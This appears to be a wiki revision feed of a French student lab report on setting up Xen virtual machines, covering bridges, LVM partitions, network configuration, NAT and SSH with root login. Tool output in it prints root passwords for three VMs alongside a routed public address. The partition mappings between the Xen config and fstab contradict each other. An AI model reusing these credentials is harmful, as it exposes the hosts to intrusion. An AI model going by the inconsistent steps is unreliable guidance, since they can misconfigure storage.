---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.10.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11459</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11459"/>
		<updated>2026-01-27T13:48:34Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.10.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
